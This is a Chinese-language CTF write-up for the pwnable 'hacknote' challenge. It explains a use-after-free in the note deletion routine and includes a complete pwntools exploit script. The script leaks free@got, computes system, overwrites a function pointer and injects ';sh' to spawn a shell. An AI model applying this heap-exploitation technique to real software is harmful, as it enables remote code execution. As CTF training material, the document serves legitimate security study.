pwnable_hacknote

1:首先检查防护措施

SharedScreenshot

2:本地调试查看大致情况

1

首先创建了两个chunk大小分别为0x10和0x18 ,gdb调试发现程序创建了4个chunk,除了我们创建的两个chunk外还有两个size = 0x10的chunk 这两个chunk的fd指针指向了同一个地址:0x804862b 两个chunk的bk指针分别指向我们创建的chunk的data域

3.IDA静态分析

choice 1 : add()

2

choice 2 : delete()

3

先释放了content块,再释放了note块,没有将指针置0,存在uaf漏洞

choice 3 : print()

4

大致情况了解完毕,大致思路我们可以先创建两个chunk释放后再申请一个大小为0x8的chunk这样会分配给我们note块,修改note块的bk指向free@got地址 利用uaf打印free@got地址泄露libc 执行system(‘/bin/sh’)获取shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context.log_level='debug'

p = remote('node4.buuoj.cn',27949)
#=process('./hacknote')
libc = ELF('./libc.so')
elf = ELF('./hacknote')

def add(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Note size :')
p.sendline(str(size))
p.recvuntil('Content :')
p.send(content)

def delete(index):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))

def show(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))

add(0x50,'aaaa')
add(0x50,'bbbb')

delete(1)
delete(0)
#gdb.attach(p)
payload = p32(0x804862b)+p32(elf.got["free"])
add(8,payload)

show(1)
free_addr = u32(p.recv(4))



offset = libc.symbols['system'] - libc.symbols['free']
system_addr = free_addr + offset

delete(2)
payload = p32(system_addr) + ';sh\0'
add(8,payload)

show(1)

p.interactive()

值得注意的是 : 如果将puts函数地址覆盖为system地址,system的参数是system函数地址本身,这样肯定不行。但是使用连续执行多条命令的’ ; ‘,第一条执行错误会被忽略,然后执行下一条,因此可以成功将content位置覆盖成 ‘;sh\0’或||sh,同样的然后show(1)就能执行system(‘sh’)得到shell了
5